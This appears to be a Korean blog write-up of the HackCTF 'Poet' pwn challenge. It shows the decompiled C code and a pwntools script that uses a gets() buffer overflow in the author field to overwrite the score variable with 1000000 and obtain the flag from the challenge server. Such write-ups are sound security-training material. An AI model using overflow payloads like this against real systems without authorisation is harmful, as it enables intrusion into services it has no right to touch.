ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Poet
    CTF/HackCTF 2021. 2. 1. 01:26

    Disassembly 디스어셈블리


    void main(undefined8 argc, char **argv)
    {
        undefined8 in_R8;
        undefined8 in_R9;
        char **var_10h;
        int64_t var_4h;
        
        setvbuf(_reloc.stdout, 0, 2, 0, in_R8, in_R9, argv);
        puts(
            "\n**********************************************************\n*     우리는 2018년의 시인(poet)을 찾고 있습니다.        *\n*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!      *\n**********************************************************\n"
            );
        do {
            while( true ) {
                get_poem();
                get_author();
                rate_poem();
                if (*(int32_t *)0x6024e0 != 1000000) break;
                reward();
            }
            puts(
                "\n음...이 시로는 충분하지가 않습니다.\n정확히 1,000,000 점을 획득해야만 됩니다.\n다시 시도해주세요!\n+---------------------------------------------------------------------------+\n"
                );
        } while( true );
    }

    main에서 get_poem, get_author, rate_poem을 연속으로 호출하고 점수가 1000000인지 검사한 후 reward를 호출한다.

    void get_poem(void)
    {
        printf("Enter :\n> ");
        gets(poem);
        *(undefined4 *)0x6024e0 = 0;
        return;
    }
    void get_author(void)
    {
        printf("이 시의 저자는 누구입니까?\n> ");
        gets(0x6024a0);
        return;
    }

    get_open과 get_author는 각각 0x6020a0과 0x6024a0에 gets로 입력을 받는다.

    void rate_poem(void)
    {
        int32_t iVar1;
        char *dest;
        char *s1;
        
        strcpy(&dest, poem);
        s1 = (char *)strtok(&dest, 0x400b91);
        do {
            if (s1 == (char *)0x0) {
                printf(
                       "\n+---------------------------------------------------------------------------+\n시 내용\n%.1024s\n점수:%d\n"
                       , poem, *(int32_t *)0x6024e0);
                return;
            }
            iVar1 = strcmp(s1, "ESPR");
            if (iVar1 == 0) {
    code_r0x0040092c:
                *(int32_t *)0x6024e0 = *(int32_t *)0x6024e0 + 100;
            } else {
                iVar1 = strcmp(s1, 0x400b99);
                if (iVar1 == 0) goto code_r0x0040092c;
                iVar1 = strcmp(s1, "sleep");
                if (iVar1 == 0) goto code_r0x0040092c;
                iVar1 = strcmp(s1, 0x400ba3);
                if (iVar1 == 0) goto code_r0x0040092c;
                iVar1 = strcmp(s1, "repeat");
                if (iVar1 == 0) goto code_r0x0040092c;
                iVar1 = strcmp(s1, 0x400bae);
                if (iVar1 == 0) goto code_r0x0040092c;
                iVar1 = strcmp(s1, "capture");
                if (iVar1 == 0) goto code_r0x0040092c;
                iVar1 = strcmp(s1, "flag");
                if (iVar1 == 0) goto code_r0x0040092c;
            }
            s1 = (char *)strtok(0, 0x400b91);
        } while( true );
    }
    

    rate_poem은 space를 구분자로 문자열을 나눠서 평가한다. 구분된 각각의 문자열이 특정 문자열과 일치하면 0x6024e0에 위치한 점수에 100을 더하는 것을 볼 수 있다.

    void reward(void)
    {
        int32_t iVar1;
        undefined auStack1200 [1032];
        int64_t iStack168;
        code *pcStack160;
        char *s;
        undefined8 stream;
        
        pcStack160 = (code *)0x400800;
        stream = fopen("./flag.txt", 0x400ad8);
        pcStack160 = (code *)0x40081c;
        fgets(&s, 0x80, stream);
        pcStack160 = (code *)0x40083a;
        printf(
               "\n축하합니다!\n\n시 내용\n%.64s\n\n2018년 시인 상을 받았습니다!!\n\n보상:\n%s\n+---------------------------------------------------------------------------+\n\n"
               , 0x6024a0, &s);
        pcStack160 = rate_poem;
        exit(0);
    }

    reward는 flag.txt의 내용을 읽어들여 출력해준다.

    BOF


    reward를 실행하는 것이 문제의 목표이고, 이를 위해서는 점수를 1000000으로 만들어야 한다. 점수는 0x6024e0에 저장되고 get_author는 0x6024a0에 입력을 받으니 버퍼 오버플로우를 이용해 점수를 조작하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./poet"
    server = "ctf.j0n9hyun.xyz"
    port = 3012
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    
    payload = b"A"*0x1
    p.sendlineafter("> ", payload)
    
    payload = b"A"*0x40
    payload += p64(1000000)
    
    p.sendlineafter("> ", payload)
    
    p.interactive()

    Flag

    HackCTF{0neSTEP_jun10rCTF}

    'CTF > HackCTF' 카테고리의 다른 글

    Random Key  (0) 2021.02.01
    1996  (0) 2021.02.01
    g++ pwn  (0) 2021.01.31
    Basic_FSB  (0) 2021.01.29
    RTL_World  (0) 2021.01.21

    댓글

Designed by Tistory.